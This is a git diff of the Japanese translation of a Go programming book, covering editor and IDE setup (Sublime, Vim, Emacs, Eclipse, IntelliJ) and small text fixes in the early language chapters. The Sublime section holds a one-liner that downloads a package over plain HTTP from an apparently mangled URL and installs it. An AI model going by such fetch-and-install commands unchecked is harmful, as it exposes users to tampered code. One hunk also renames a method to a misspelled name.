go-fmt-buffer () - "run gofmt on current buffer" - (interactive) - (if buffer-read-only - (progn - (ding) - (message "Buffer is read only")) - (let ((p (line-number-at-pos)) - (filename (buffer-file-name)) - (old-max-mini-window-height max-mini-window-height)) - (show-all) - (if (get-buffer "*Go Reformat Errors*") - (progn - (delete-windows-on "*Go Reformat Errors*") - (kill-buffer "*Go Reformat Errors*"))) - (setq max-mini-window-height 1) - (if (= 0 (shell-command-on-region (point-min) (point-max) "gofmt" "*Go Reformat Output*" nil "*Go Reformat Errors*" t)) - (progn - (erase-buffer) - (insert-buffer-substring "*Go Reformat Output*") - (goto-char (point-min)) - (forward-line (1- p))) - (with-current-buffer "*Go Reformat Errors*" - (progn - (goto-char (point-min)) - (while (re-search-forward "" nil t) - (replace-match filename)) - (goto-char (point-min)) - (compilation-mode)))) - (setq max-mini-window-height old-max-mini-window-height) - (delete-windows-on "*Go Reformat Output*") - (kill-buffer "*Go Reformat Output*")))) - ;; helper function - (defun go-fix-buffer () - "run gofix on current buffer" - (interactive) - (show-all) - (shell-command-on-region (point-min) (point-max) "go tool fix -diff")) - -6. おめでとうございます。今からあなたはこの神器を使ってGo開発の楽しみを体験できます。デフォルトのspeedbarは閉じています。もし開く場合は ;; (speedbar 1) の前のコメントを取り去るか、*M-x speedbar*を手動で起動してください。 - -## Eclipse -Eclipseも非常によく使われる開発ツールです。以下ではEclipseを使ってどのようにGoプログラムを編集するかご紹介します。 - - ![](images/1.4.eclipse1.png?raw=true) - -図1.11 EclipseでのGo編集のメイン画面 - -1. まず[Eclipse](http://www.eclipse.org/)をダウンロードしてインストールします。 - -2. [goclipse](https://code.google.com/p/goclipse/)プラグインをダウンロードします。 - - http://code.google.com/p/goclipse/wiki/InstallationInstructions - -3. gocodeをダウンロードして、goのコード補完を表示させます。 - - gocodeのgithubアドレス: - - https://github.com/nsf/gocode - - windowsではgitをインストールする必要があります。通常は[msysgit](https://code.google.com/p/msysgit/)を使います。 - - cmdでインストールを行います: - - go get -u github.com/nsf/gocode - - 以下のコードをダウンロードし、直接go buildでコンパイルしてもかまいません。この場合はgocode.exeが生成されます。 - -4. [MinGW](http://sourceforge.net/projects/mingw/files/MinGW/)をダウンロードして要求に従いインストールしてください。 - -5. プラグイン設定 - - Windows->Reference->Go - - (1).Goのコンパイラを設定します。 - - ![](images/1.4.eclipse2.png?raw=true) - - 図1.12 Goの基本情報を設定します。 - - - (2).Gocodeを設定します(オプション、コード補完)、Gocodeのパスは事前に生成したgocode.exeファイルを設定します。 - - ![](images/1.4.eclipse3.png?raw=true) - - 図1.13 gocode情報を設定します。 - - (3).GDBを設定します(オプション、テスト用)、GDBのパスはMingGWのインストールディレクトリ下のgdb.exeファイルを設定します。 - - ![](images/1.4.eclipse4.png?raw=true) - - 図1.14 GDB情報の設定 - -6. テストが成功するか - - goプロジェクトを一つ新規作成して、hello.goを作成します: - - ![](images/1.4.eclipse5.png?raw=true) - - 図1.15 プロジェクトの新規作成とファイルの編集 - - テストの実行(consoleでコマンドを入力する必要があります): - - ![](images/1.4.eclipse6.png?raw=true) - - 図1.16 Goプログラムのテスト - -## IntelliJ IDEA -Javaに親しい読者はideaに詳しいことでしょう。ideaはプラグインを通してgo言語のシンタックスハイライト、コード補完およびリビルドをサポートしています。 - -1. ideaを先にダウンロードします。ideaはマルチプラットフォームをサポートしています:win,mac,linux、もしお金があれば正式版を購入します、もし無ければ、コミュニティの無料版を使ってください。Go言語を開発するだけであれば無料版で十分事足ります。 - - ![](images/1.4.idea1.png?raw=true) - -2. Goプラグインをインストールし、FileメニューのSettingをクリックします。Pluginsを探したら、Browser repoボタンをクリックします。中国国内のユーザはおそらくエラーが出るかもしれませんが、自分で解決してくれよな。 - - ![](images/1.4.idea3.png?raw=true) - -3. この時いくつものプラグインが見つかります。Golangを検索して、download and installをダブルクリックしてください。golangの行末にDownloadedの表示が現れるのを待って、OKをクリックします。 - - ![](images/1.4.idea4.png?raw=true) - - その後Applyをクリックすると、IDEが再起動を要求します。 - -4. 再起動が完了し、新規プロジェクトを作成すると、golangプロジェクトが作成可能であることがお分かりいただけるかとおもいます: - - ![](images/1.4.idea5.png?raw=true) - - 次に、go sdkの場所を入力するよう促されるかもしれません。普段はいつもC:\Goにインストールされています。Linuxとmacは自分のインストールディレクトリの設定にしたがって、ディレクトリを選択すれば大丈夫です。 - -## links - * [目次]() - * 前へ: [Goのコマンド](<01.3.md>) - * 次へ: [まとめ](<01.5.md>) +# 1.4 Go開発ツール + +本章ではいくつかの開発ツールをご紹介します。これらはすべて自動化を備えており、fmt機能を自動化します。なぜならこれらはすべてクロスプラットフォームであり、そのためインストール手順といったものはすべて同じものです。 + +## LiteIDE + + LiteIDEはGo言語の開発に特化したクロスプラットフォームの軽量統合開発環境(IDE)です。visualfcで書かれています。 + + ![](images/1.4.liteide.png?raw=true) + +図1.4 LiteIDEのメイン画面 + +**LiteIDEの主な特徴:** + +* 主なオペレーティングシステムのサポート + * Windows + * Linux + * MacOS X +* Goコンパイル環境の管理と切り替え + * 複数のGoコンパイル環境の管理と切り替え + * Go言語のクロスコンパイルのサポート +* Go標準と同じ項目管理方式 + * GOPATHに基づいたパッケージブラウザ + * GOPATHに基づいたコンパイルシステム + * GOPATHに基づいたドキュメント検索 +* Go言語の編集サポート + * クラスブラウザとアウトライン表示 + * Gocode(コード自動作成ツール)の完全なサポート + * Go言語ドキュメントとApi高速検索 + * コード表現情報の表示`F1` + * ソースコード定義とジャンプのサポート`F2` + * Gdbブレークポイントとテストサポート + * gofmt自動整形のサポート +* その他の特徴 + * 多言語メニューのサポート + * 完全にプラガブルな構成 + * エディタのカラーリングサポート + * Kateに基づいた文法表示サポート + * 全文に基づく単語の自動補完 + * キーボードショートカットのバインディングサポート + * Markdownドキュメントの編集サポート + * リアルタイムプレビューと表示の同期 + * カスタムCSS表示 + * HTML及びPDFドキュメントのエクスポート + * HTML/PDFドキュメントへの変換とマージ + +**LiteIDEインストール設定** + +* LiteIDEインストール + * ダウンロード http://sourceforge.net/projects/liteide/files/> + * ソースコード + + まずGo言語環境をインストールし、その後オペレーティングシステムにしたがってLiteIDEの対応圧縮ファイルを直接解凍すれば使用できます。 + +* コンパイル環境設定 + + 自身のシステムの要求にしたがってLiteIDEが現在使用している環境変数を切り替えまたは設定します。 + + Windowsオペレーティングシステムの64bitGo言語の場合、 + ツール欄の環境設定のなかでwin64を選択し、`編集環境`をクリックしてLiteIDEからwin64.envファイルを編集します。 + + GOROOT=c:\go + GOBIN= + GOARCH=amd64 + GOOS=windows + CGO_ENABLED=1 + + PATH=%GOBIN%;%GOROOT%\bin;%PATH% + 。。。 + + この中の`GOROOT=c:\go`を現在のGoのインストールパスに修正し、保存するだけです。もしMinGW64があれば、`c:\MinGW64\bin`をPATHの中に入れて、goによるgccのコールでCGOコンパイラのサポートを利用することができます。 + + Linuxオペレーティングシステムで64bitGo言語の場合、 + ツール欄の環境設定の中からlinux64を選び、`編集環境`をクリックし、LiteIDEからlinux64.envファイルを編集します。 + + GOROOT=$HOME/go + GOBIN= + GOARCH=amd64 + GOOS=linux + CGO_ENABLED=1 + + PATH=$GOBIN:$GOROOT/bin:$PATH + 。。。 + + この中の`GOROOT=$HOME/go`を現在のGoのインストールパスに修正して保存します。 + +* GOPATH設定 + + Go言語のツールキーはGOPATH設定を使用します。Go言語開発のプロジェクトのパスリストです。コマンドライン(LiteIDEでは`Ctrl+,`を直接入力できます)で`go help gopath`を入力するとGOPATHドキュメントを素早く確認できます。 + + LiteIDEでは簡単に確認でき、GOPATHを設定することができます。`メニュー-確認-GOPATH`設定を通じて、システム中に存在するGOPATHリストを確認することができます。 + 同時に必要な追加項目にそってカスタムのGOPATHリストに追加することができます。 + +## Sublime Text + + ここではSublime Text 2(以下「Sublime」)+GoSublimeの組み合わせをご紹介します。なぜこの組み合わせなのでしょうか? + + - コード表示の自動化、以下の図の通り + + ![](images/1.4.sublime1.png?raw=true) + + 図1.5 sublimeコードの自動化画面 + + - 保存した時にはコードが自動的に整形されています。あなたの書いたコードをより美しくGoの標準に合うよう仕上げてくれます。 + - プロジェクト管理のサポート + + ![](images/1.4.sublime2.png?raw=true) + + 図1.6 sublimeプロジェクト管理画面  + + - 文法のハイライトサポート + - Sublime Text 2はフリーで使用できます。保存回数が一定の量を超えると購入するかのダイアログが現れるので、継続利用をキャンセルするをクリックします。正式登録版とは何の違いもありません。 + + +次はどのようにインストールするかご説明します。[Sublime](http://www.sublimetext.com/)ダウンロードします。 + + 自分のシステムに合わせて対応するバージョンをダウンロードし、Sublimeを開きます。Sublimeに詳しくない方はまず[Sublime Text 2 入門とテクニック](http://lucifr.com/139225/sublime-text-2-tricks-and-tips/)の文章を読んでみてください。 + + 1. 開いた後、 Package Controlをインストールします。Ctrl+`でコマンドラインを開き、以下のコードを実行します: + + import urllib2,os; pf='Package Control.sublime-package'; ipp=sublime.installed_packages_path(); os.makedirs(ipp) if not os.path.exists(ipp) else None; urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler())); open(os.path.join(ipp,pf),'wb').write(urllib2.urlopen('http://sublime.wbond.net/'+pf.replace(' ','%20')).read()); print 'Please restart Sublime Text to finish installation' + + この時Sublimeを再度開き直してください。メニュー欄に一つ項目が増えているのがお分かりいただけるかと思います。これでPackage Controlが正しくインストールされました。 + + ![](images/1.4.sublime3.png?raw=true) + + 図1.7 sublimeパッケージ管理 + + + 2. インストールが完了するとSublimeのプラグインをインストールできます。GoSublime, SidebarEnhancementsとGo Buildをインストールする必要があるので、プラグインをインストールしたあとSublimeを再起動させて有効にしてください。Ctrl+Shift+pでPackage Controlを開き、`pcip`を入力します。(これは"Package Control: Install Package"と省略されます)。 + + この時、左下のコーナーに現在読み込んでいるパッケージデータが表示されます。完了すると下のような画面になります。 + + ![](images/1.4.sublime4.png?raw=true) + + 図1.8 sublimeプラグインのインストール画面 + + この時、GoSublimeと入力し、「確認」をクリックするとインストールが始まります。同じようにSidebarEnhancementsとGo Buildにも行います。 + + 3. インストールが成功したかテストします。Sublimeを開き、main.goを開いて文法がハイライトされているのをご確認ください。`import`を入力してコードの自動表示がされます。`import "fmt"`のあとに`fmt.`を入力すると自動的に関数の候補が現れます。 + + もしすでにこのような表示がされる場合は、インストールが成功しており、自動補完が完了しています。 + + もしこのような表示がなされない場合、あなたの`$PATH`が正しく設定されていないのかもしれません。ターミナルを開き、gocodeを入力して、正しく実行できるか確認してください。もしダメであれば`$PATH`が正しく設定されていません。 + (XP向け)たまたまターミナルでの実行が成功することもあります。しかしsublimeは何も知らせてくれないかデコードエラーが発生します。sublime text3とconvert utf8プラグインを試してみてください。 + + 4. MacOSではすでに$GOROOT, $GOPATH, $GOBINが設定されていても自動的にはどうすればよいか教えてくれません。 + + sublimeにてcommand + 9を押し、envを入力して$PATH, $GOROOT, $GOPATH, $GOBINといった変数を確認します。もしなければ、以下の手順に従ってください。 + + まず下のシンボリックリンクを作成し、Terminalで直接sublimeを起動します + + ln -s /Applications/Sublime\ Text\ 2.app/Contents/SharedSupport/bin/subl /usr/local/bin/sublime + + +## Vim +Vimはviから発展したテキストエディタです。コード補完、コンパイルまたエラージャンプなど、プログラミングに特化した機能が豊富です。広くプログラマに使用されています。 + +![](images/1.4.vim.png?raw=true) + +図1.9 VIMエディタのGoの自動補完画面 + + 1. vimハイライト表示の設定 + + cp -r $GOROOT/misc/vim/* ~/.vim/ + + 2. ~/.vimrcファイルで文法のハイライト表示を追加します + + filetype plugin indent on + syntax on + + 3. [Gocode](https://github.com/nsf/gocode/)をインストールします + + go get -u github.com/nsf/gocode + + gocodeはデフォルトで`$GOPATH/bin`の下にインストールされています。 + + 4. [Gocode](https://github.com/nsf/gocode/)を設定します。 + + ~ cd $GOPATH/src/github.com/nsf/gocode/vim + ~ ./update.bash + ~ gocode set propose-builtins true + propose-builtins true + ~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64" + lib-path "/home/border/gocode/pkg/linux_amd64" + ~ gocode set + propose-builtins true + lib-path "/home/border/gocode/pkg/linux_amd64" + + >gocode setの2つのパラメータの意味を説明します: + > + >propose-builtins:はGoのビルトイン関数を補完するかです。タイプは定数です。デフォルトはfalseで、表示しません。 + > + >lib-path:デフォルトで、gocodeは**$GOPATH/pkg/$GOOS_$GOARCH**と**$GOROOT/pkg/$GOOS_$GOARCH**ディレクトリのパッケージを検索するだけです。当然この設定には私達の外側のlibを検索できるようパスを設定することができます。 + + + 5. おめでとうございます。インストール完了です。あなたは今から`:e main.go`でGoで開発する面白さを体験することができます。 + +より多くのVIMの設定は、[リンク](http://monnand.me/p/vim-golang-environment/zhCN/)をご参照ください。 + +## Emacs +Emacsは伝説の神器です。彼女はエディタであるだけでなく、統合環境でもあります。または開発環境の集大成と呼んでもよいかもしれません。これらの機能はユーザの身を万能のオペレーティングシステムに置きます。 + + ![](images/1.4.emacs.png?raw=true) + +図1.10 EmacsでGoを編集するメイン画面 + +1. Emacsのハイライト表示設定 + + cp $GOROOT/misc/emacs/* ~/.emacs.d/ + +2. [Gocode](https://github.com/nsf/gocode/)をインストール + + go get -u github.com/nsf/gocode + + gocodeはデフォルトで`$GOBIN`の下にインストールされます。 + +3. [Gocode](https://github.com/nsf/gocode/)を設定 + + + ~ cd $GOPATH/src/github.com/nsf/gocode/emacs + ~ cp go-autocomplete.el ~/.emacs.d/ + ~ gocode set propose-builtins true + propose-builtins true + ~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64" // あなたのパスに置き換えてください。 + lib-path "/home/border/gocode/pkg/linux_amd64" + ~ gocode set + propose-builtins true + lib-path "/home/border/gocode/pkg/linux_amd64" + +4. [Auto Completion](http://www.emacswiki.org/emacs/AutoComplete)をインストールする必要があります。 + + AutoCompleteをダウンロードして解凍します。 + + ~ make install DIR=$HOME/.emacs.d/auto-complete + + ~/.emacsファイルを設定します。 + + ;;auto-complete + (require 'auto-complete-config) + (add-to-list 'ac-dictionary-directories "~/.emacs.d/auto-complete/ac-dict") + (ac-config-default) + (local-set-key (kbd "M-/") 'semantic-complete-analyze-inline) + (local-set-key "." 'semantic-complete-self-insert) + (local-set-key ">" 'semantic-complete-self-insert) + + 詳細情報はこちらを参考にしてください:http://www.emacswiki.org/emacs/AutoComplete + +5. .emacsを設定します。 + + ;; golang mode + (require 'go-mode-load) + (require 'go-autocomplete) + ;; speedbar + ;; (speedbar 1) + (speedbar-add-supported-extension ".go") + (add-hook + 'go-mode-hook + '(lambda () + ;; gocode + (auto-complete-mode 1) + (setq ac-sources '(ac-source-go)) + ;; Imenu & Speedbar + (setq imenu-generic-expression + '(("type" "^type *\\([^ \t\n\r\f]*\\)" 1) + ("func" "^func *\\(.*\\) {" 1))) + (imenu-add-to-menubar "Index") + ;; Outline mode + (make-local-variable 'outline-regexp) + (setq outline-regexp "//\\.\\|//[^\r\n\f][^\r\n\f]\\|pack\\|func\\|impo\\|cons\\|var.\\|type\\|\t\t*....") + (outline-minor-mode 1) + (local-set-key "\M-a" 'outline-previous-visible-heading) + (local-set-key "\M-e" 'outline-next-visible-heading) + ;; Menu bar + (require 'easymenu) + (defconst go-hooked-menu + '("Go tools" + ["Go run buffer" go t] + ["Go reformat buffer" go-fmt-buffer t] + ["Go check buffer" go-fix-buffer t])) + (easy-menu-define + go-added-menu + (current-local-map) + "Go tools" + go-hooked-menu) + + ;; Other + (setq show-trailing-whitespace t) + )) + ;; helper function + (defun go () + "run current buffer" + (interactive) + (compile (concat "go run " (buffer-file-name)))) + + ;; helper function + (defun go-fmt-buffer () + "run gofmt on current buffer" + (interactive) + (if buffer-read-only + (progn + (ding) + (message "Buffer is read only")) + (let ((p (line-number-at-pos)) + (filename (buffer-file-name)) + (old-max-mini-window-height max-mini-window-height)) + (show-all) + (if (get-buffer "*Go Reformat Errors*") + (progn + (delete-windows-on "*Go Reformat Errors*") + (kill-buffer "*Go Reformat Errors*"))) + (setq max-mini-window-height 1) + (if (= 0 (shell-command-on-region (point-min) (point-max) "gofmt" "*Go Reformat Output*" nil "*Go Reformat Errors*" t)) + (progn + (erase-buffer) + (insert-buffer-substring "*Go Reformat Output*") + (goto-char (point-min)) + (forward-line (1- p))) + (with-current-buffer "*Go Reformat Errors*" + (progn + (goto-char (point-min)) + (while (re-search-forward "" nil t) + (replace-match filename)) + (goto-char (point-min)) + (compilation-mode)))) + (setq max-mini-window-height old-max-mini-window-height) + (delete-windows-on "*Go Reformat Output*") + (kill-buffer "*Go Reformat Output*")))) + ;; helper function + (defun go-fix-buffer () + "run gofix on current buffer" + (interactive) + (show-all) + (shell-command-on-region (point-min) (point-max) "go tool fix -diff")) + +6. おめでとうございます。今からあなたはこの神器を使ってGo開発の楽しみを体験できます。デフォルトのspeedbarは閉じています。もし開く場合は ;; (speedbar 1) の前のコメントを取り去るか、*M-x speedbar*を手動で起動してください。 + +## Eclipse +Eclipseも非常によく使われる開発ツールです。以下ではEclipseを使ってどのようにGoプログラムを編集するかご紹介します。 + + ![](images/1.4.eclipse1.png?raw=true) + +図1.11 EclipseでのGo編集のメイン画面 + +1. まず[Eclipse](http://www.eclipse.org/)をダウンロードしてインストールします。 + +2. [goclipse](https://code.google.com/p/goclipse/)プラグインをダウンロードします。 + + http://code.google.com/p/goclipse/wiki/InstallationInstructions + +3. gocodeをダウンロードして、goのコード補完を表示させます。 + + gocodeのGitHubアドレス: + + https://github.com/nsf/gocode + + windowsではgitをインストールする必要があります。通常は[msysgit](https://code.google.com/p/msysgit/)を使います。 + + cmdでインストールを行います: + + go get -u github.com/nsf/gocode + + 以下のコードをダウンロードし、直接go buildでコンパイルしてもかまいません。この場合はgocode.exeが生成されます。 + +4. [MinGW](http://sourceforge.net/projects/mingw/files/MinGW/)をダウンロードして要求に従いインストールしてください。 + +5. プラグイン設定 + + Windows->Reference->Go + + (1).Goのコンパイラを設定します。 + + ![](images/1.4.eclipse2.png?raw=true) + + 図1.12 Goの基本情報を設定します。 + + + (2).Gocodeを設定します(オプション、コード補完)、Gocodeのパスは事前に生成したgocode.exeファイルを設定します。 + + ![](images/1.4.eclipse3.png?raw=true) + + 図1.13 gocode情報を設定します。 + + (3).GDBを設定します(オプション、テスト用)、GDBのパスはMingGWのインストールディレクトリ下のgdb.exeファイルを設定します。 + + ![](images/1.4.eclipse4.png?raw=true) + + 図1.14 GDB情報の設定 + +6. テストが成功するか + + goプロジェクトを一つ新規作成して、hello.goを作成します: + + ![](images/1.4.eclipse5.png?raw=true) + + 図1.15 プロジェクトの新規作成とファイルの編集 + + テストの実行(consoleでコマンドを入力する必要があります): + + ![](images/1.4.eclipse6.png?raw=true) + + 図1.16 Goプログラムのテスト + +## IntelliJ IDEA +Javaに親しい読者はideaに詳しいことでしょう。ideaはプラグインを通してgo言語のシンタックスハイライト、コード補完およびリビルドをサポートしています。 + +1. ideaを先にダウンロードします。ideaはマルチプラットフォームをサポートしています:win,mac,linux、もしお金があれば正式版を購入します、もし無ければ、コミュニティの無料版を使ってください。Go言語を開発するだけであれば無料版で十分事足ります。 + + ![](images/1.4.idea1.png?raw=true) + +2. Goプラグインをインストールし、FileメニューのSettingをクリックします。Pluginsを探したら、Browser repoボタンをクリックします。中国国内のユーザはおそらくエラーが出るかもしれませんが、自分で解決してくれよな。 + + ![](images/1.4.idea3.png?raw=true) + +3. この時いくつものプラグインが見つかります。Golangを検索して、download and installをダブルクリックしてください。golangの行末にDownloadedの表示が現れるのを待って、OKをクリックします。 + + ![](images/1.4.idea4.png?raw=true) + + その後Applyをクリックすると、IDEが再起動を要求します。 + +4. 再起動が完了し、新規プロジェクトを作成すると、golangプロジェクトが作成可能であることがお分かりいただけるかとおもいます: + + ![](images/1.4.idea5.png?raw=true) + + 次に、go sdkの場所を入力するよう促されるかもしれません。普段はいつもC:\Goにインストールされています。Linuxとmacは自分のインストールディレクトリの設定にしたがって、ディレクトリを選択すれば大丈夫です。 + +## links + * [目次]() + * 前へ: [Goのコマンド](<01.3.md>) + * 次へ: [まとめ](<01.5.md>) diff --git a/ja/01.5.md b/ja/01.5.md index efd6f52ec..6c677ab73 100644 --- a/ja/01.5.md +++ b/ja/01.5.md @@ -1,6 +1,6 @@ # 1.5 まとめ -この章では主にどのようにしてGoをインストールするかについてご紹介しました。Goは3つの種類のインストール方法があります:ソースコードインストール、標準パッケージインストール、サードパーティツールによるインストールです。インストール後開発環境を整え、ローカルの`$GOPATH`を設定します。`$GOPATH`設定を通じて読者はプロジェクトを作成することができます。次にどのようにプロジェクトをコンパイルするのか説明しました。アプリケーションのインストールといった問題はたくさんのGoコマンドを使用する必要があります。そのため、Goで日常的に用いられるコマンドツールについてもご説明しました。コンパイル、インストール、整形、テストなどのコマンドです。最後にGoの開発ツールについてご紹介しました。現在多くのGoの開発ツールには:LiteIDE、sublime、VIM、Emacs、Eclipse、Ideaといったツールがあります。読者は自分が一番慣れ親しんだツールを設定することができます。便利なツールで素早くGoアプリケーションを開発できるよう願っています。 +この章では主にどのようにしてGoをインストールするかについてご紹介しました。Goは3つの種類のインストール方法があります:ソースコードインストール、標準パッケージインストール、サードパーティツールによるインストールです。インストール後開発環境を整え、ローカルの`$GOPATH`を設定します。`$GOPATH`設定を通じて読者はプロジェクトを作成することができます。次にどのようにプロジェクトをコンパイルするのか説明しました。アプリケーションのインストールといった問題はたくさんのGoコマンドを使用する必要があります。そのため、Goで日常的に用いられるコマンドツールについてもご説明しました。コンパイル、インストール、整形、テストなどのコマンドです。最後にGoの開発ツールについてご紹介しました。現在多くのGoの開発ツールには:LiteIDE、sublime、VIM、GoLand, Emacs、Eclipse、Ideaといったツールがあります。読者は自分が一番慣れ親しんだツールを設定することができます。便利なツールで素早くGoアプリケーションを開発できるよう願っています。 ## links * [目次]() diff --git a/ja/02.0.md b/ja/02.0.md index a2877e377..c0020f56d 100644 --- a/ja/02.0.md +++ b/ja/02.0.md @@ -1,6 +1,6 @@ # 2 Go言語の基礎 -GoはCに似たコンパイラ型言語です。ですが、このコンパイル速度は非常に速く、この言語のキーワードもたったの25個です。英文よりも少し少なく勉強するにはかなり簡単です。まずはこれらのキーワードがどのようなものか見てみることにしましょう: +GoはCに似たコンパイラ型言語ですが、Cよりもコンパイル速度は非常に速く、言語のキーワードもたったの25個です。アルファベットよりも少なく簡単です。まずはこれらのキーワードがどのようなものか見てみましょう: break default func interface select case defer go map struct @@ -8,7 +8,7 @@ GoはCに似たコンパイラ型言語です。ですが、このコンパイ const fallthrough if range type continue for import return var -この章では、この言語の基礎勉強にあなたを連れていきます。各章の紹介を通じて、Goの世界がどれほどまでに簡潔で絶妙にデザインされているかお分かりいただけるはずです。Goを書くことはとても楽しいことです。後から振り返ると、この25個のキーワードがどれだけフレンドリーか理解するはずです。 +この章では、Goの基礎を教えます。Goの世界がどれほどまでに簡潔で絶妙にデザインされているかお分かりいただけるはずです。Goを書くことはとても楽しいです。後から振り返ると、この25個のキーワードがどれだけフレンドリーか理解できるはずです。 ## 目次 ![](images/navi2.png?raw=true) diff --git a/ja/02.1.md b/ja/02.1.md index 08ea60d92..7dbba69db 100644 --- a/ja/02.1.md +++ b/ja/02.1.md @@ -1,10 +1,10 @@ # 2.1 こんにちは、Go -アプリケーションを書き始める前に、まず基本となるプログラムから始めます。家を建てようとする前に建物の基礎がどういったものかわからないのと同じように、プログラムの編集もどのように始めたらよいのかわからないものです。そのため、本章では、最も基本的な文法を学習し、Goプログラムを実行してみます。 +アプリケーションを構築する前に、まず基本となるプログラムの書き方から始めます。建築の基礎を理解しないと家が建てられないように、基本的なプログラムを理解せずにはアプリケーションの構築もできません。そのため、本章では最も基本的な文法を学習し、Goプログラムを実行してみます。 ## プログラム -これは伝統なのですが、大部分の言語を学習するときは、どのようにして`hello world`を出力するかというプログラムを書くことを学びます。 +大半のプログラミング言語では、まず初めに`hello world`を出力するプログラムの書き方を学びます。 用意はいいですか?Let's Go! @@ -21,25 +21,25 @@ Hello, world or 你好,世界 or καλημ ́ρα κóσμ or こんにちはせかい ## 説明 -まず我々はある概念を理解する必要があります。Goプログラムは`package`で構成されています。 +まず我々は、Goプログラムは`package`で構成されている、ということを理解する必要があります。 -`package `(我々の例では`package main`)の1行は現在のファイルがどのパッケージの属しているかを表しています。またパッケージ`main`はこれが独立して実行できるパッケージであることを示しています。コンパイル後実行可能ファイルが生成されます。`main`パッケージを除いて、他のパッケージは最後には`*.a`というファイルが生成され(パッケージファイルとも呼ばれます。)、`$GOPATH/pkg/$GOOS_$GOARCH`に出力されます。(Macでは`$GOPATH/pkg/darwin_amd64`になります。) +`package `(我々の例では`package main`)の1行は現在のファイルがどのパッケージの属しているかを表しています。またパッケージ`main`はこれ自体が独立して実行できるパッケージであることを示しています。コンパイル後実行可能ファイルが生成されます。`main`パッケージを除いて、他のパッケージは最後には`*.a`というファイルが生成され(パッケージファイルとも呼ばれます。)、`$GOPATH/pkg/$GOOS_$GOARCH`に出力されます。(Macでは`$GOPATH/pkg/darwin_amd64`になります。) ->それぞれの独立して実行できるGoプログラムは必ず`package main`の中に含まれます。この`main`パッケージには必ずインターフェースとなる`main`関数が含まれます。この関数には引数がなく、戻り値もありません。 +>それぞれ独立して実行できるGoプログラムは必ず`package main`の中に含まれています。この`main`パッケージには必ずインターフェースとなる`main`関数が含まれます。この関数には引数がなく、戻り値もありません。 `Hello, world...`と出力するために、我々は`Printf`関数を用います。この関数は`fmt`パッケージに含まれるため、我々は3行目でシステム固有の`fmt`パッケージを導入しています:`import "fmt"`。 -パッケージの概念はPythonのpackageに似ています。これらには特別な利点があります:モジュール化(あなたのプログラムを複数のモジュールに分けることができます)と再利用性(各モジュールはすべて他のアプリケーションプログラムで再利用することができます)。ここではパッケージの概念を理解するにとどめ、あとで自分のパッケージを書くことにしましょう。 +パッケージの概念はPythonのpackageに似ています。これには特別な利点があります:モジュール化(あなたのプログラムを複数のモジュールに分けることができます)と再利用性(各モジュールはすべて他のアプリケーションプログラムで再利用することができます)。ここではパッケージの概念を理解するにとどめ、あとで自分のパッケージを書くことにしましょう。 5行目では、キーワード`func`を通じて`main`関数を定義しています。関数の中身は`{}`(大括弧)の中に書かれます。我々が普段CやC++、Javaを書くのと同じです。 -`main`関数にはなんの引数もありません。あとでどのように引数があったり、0個または複数の値を返す関数を書くか学ぶことにしましょう。 +`main`関数にはなんの引数もありません。引数が存在する関数や、0個または複数の値を返す関数の書き方は後で学ぶことにしましょう。 6行目では、`fmt`パッケージに定義された`Printf`関数をコールします。この関数は`.`の形式でコールされます。この点はPythonとよく似ています。 >上述の通り、パッケージ名とパッケージが存在するディレクトリは異なっていてもかまいません。ここでは``がディレクトリ名ではなく`package `で宣言されるパッケージ名とします。 -最後に、我々が出力した内容に多くの非ASCIIコードが含まれていることにお気づきかもしれません。実際、Goは生まれながらにしてUTF-8をサポートしており、いかなる文字コードも直接出力することができます。UTF-8の中の任意のコードポイントを識別子にしても構いません。 +最後に、出力した内容には多くの非ASCIIコードが含まれていることにお気づきかもしれません。実際、Goは生まれながらにしてUTF-8をサポートしており、いかなる文字コードも直接出力することができます。UTF-8の中の任意のコードポイントを識別子にしても構いません。 ## 結論 diff --git a/ja/02.3.md b/ja/02.3.md index def7dedc9..7ae096195 100644 --- a/ja/02.3.md +++ b/ja/02.3.md @@ -102,7 +102,7 @@ Goにで最も強力なロジックコントロールといえば、`for`です `break`と`continue`はタグを添えることができます。複数ネストしたループで外側のループからジャンプする際に使用されます。 -`for`は`range`と組み合わせて`slice`と`map`のデータを読み込むことができます: +`for`は`range`と組み合わせて`array`、`slice`、`map`、`string`のデータを読み込むことができます: for k,v:=range map { fmt.Println("map's key:",k) @@ -321,7 +321,7 @@ Goの関数は可変長引数をサポートしています。可変長引数を - ポインタを渡すことで複数の関数が同じオブジェクトに対して操作を行うことができます。 - ポインタ渡しは比較的軽いです(8バイト)、ただのメモリのアドレスです。ポインタを使って大きな構造体を渡すことができます。もし値渡しを行なっていたら、相対的にもっと多くのシステムリソース(メモリと時間)を毎回のコピーで消費することになります。そのため大きな構造体を渡す際は、ポインタを使うのが賢い選択というものです。 -- Go言語の`string`、`slice`、`map`の3つの型はメカニズムを実現するポインタのようなものです。ですので、直接渡すことができますので、アドレスを取得してポインタを渡す必要はありません。(注:もし関数が`slice`の長さを変更する場合はアドレスを取得し、ポインタを渡す必要があります。) +- Go言語の`channel`、`slice`、`map`の3つの型はメカニズムを実現するポインタのようなものです。ですので、直接渡すことができますので、アドレスを取得してポインタを渡す必要はありません。(注:もし関数が`slice`の長さを変更する場合はアドレスを取得し、ポインタを渡す必要があります。) ### defer Go言語のすばらしいデザインの中に、遅延(defer)文法があります。関数の中でdefer文を複数追加することができます。関数が最後まで実行された時、このdefer文が逆順に実行されます。最後にこの関数が返ります。特に、リソースをオープンする操作を行なっているようなとき、エラーの発生に対してロールバックし、必要なリソースをクローズする必要があるかと思います。さもなければとても簡単にリソースのリークといった問題を引き起こすことになります。我々はリソースを開く際は一般的に以下のようにします: diff --git a/ja/02.5.md b/ja/02.5.md index 41f2e3eaa..5e44a746d 100644 --- a/ja/02.5.md +++ b/ja/02.5.md @@ -156,12 +156,12 @@ methodはstructの上でしか使用されないのでしょうか?当然違 b.color = c } - func (bl BoxList) BiggestColor() Color { + func (bl BoxList) BiggestsColor() Color { v := 0.00 k := Color(WHITE) for _, b := range bl { - if bv := b.Volume(); bv > v { - v = bv + if b.Volume() > v { + v = b.Volume() k = b.color } } @@ -192,13 +192,13 @@ methodはstructの上でしか使用されないのでしょうか?当然違 fmt.Printf("We have %d boxes in our set\n", len(boxes)) fmt.Println("The volume of the first one is", boxes[0].Volume(), "cm³") fmt.Println("The color of the last one is",boxes[len(boxes)-1].color.String()) - fmt.Println("The biggest one is", boxes.BiggestColor().String()) + fmt.Println("The biggest one is", 